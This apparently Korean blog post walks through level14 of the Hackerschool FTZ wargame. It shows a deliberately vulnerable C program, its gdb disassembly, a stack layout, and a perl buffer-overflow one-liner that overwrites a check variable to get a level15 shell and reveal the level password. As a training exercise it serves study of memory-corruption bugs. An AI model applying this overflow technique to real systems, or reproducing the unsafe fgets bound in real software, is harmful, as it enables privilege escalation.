본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level14 -> level15 ) by ORANG


FTZ_level14

 

 [level14@ftz level14]$ bash2

[level14@ftz level14]$ cat hint

 

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

 

#include <stdio.h>

#include <unistd.h>

 

main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}

 

bash2부터 띄우고~~ 힌트를 보니 level14와 비슷합니다 ㅎㅎ

하지만 fgets 함수로 입력받는 최대 크기가 45바이트로 되어있네요

check 부분을 0xdeadbeef 로 채우면 셸을 획득할 수 있으므로 check의 주소를 알아내는게 중요하겠네요

분석 후 메모리 구조를 그려보겠습니다.


 (gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   %ebp

0x08048491 <main+1>: mov    %esp,%ebp

0x08048493 <main+3>: sub    $0x38,%esp

0x08048496 <main+6>: sub    $0x4,%esp

0x08048499 <main+9>: pushl  0x8049664

0x0804849f <main+15>: push   $0x2d

0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax

0x080484a4 <main+20>: push   %eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    $0x10,%esp

0x080484ad <main+29>: cmpl   $0xdeadbeef,0xfffffff0(%ebp)

0x080484b4 <main+36>: jne    0x80484db <main+75>

…생략…

 

 

main+3을 보니 0x38 ( 56 바이트 )크기 만큼 메모리를 확보하네요ㅎㅎ

main+29부분을 보면 check의 시작 주소가 ebp로부터 -16바이트인 곳이라는걸 확인할 수 있습니다.

 

 

 

RET [4]

SFP [4]

crap [4] + dummy [8]

check [4]

dummy [20]

buf [20]

가 되겠네요ㅎㅎ

단순히 buf로부터 40 바이트 뒤에 check를 0xdeadbeef로 채워주면 되므로

시작 주소는 찾지 않아도 되겠네요ㅎㅎ

 

공격을 해보겠습니다.

 

 [level14@ftz level14]$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"'; cat) | ./attackme

id

uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass

 

Level15 Password is "guess what".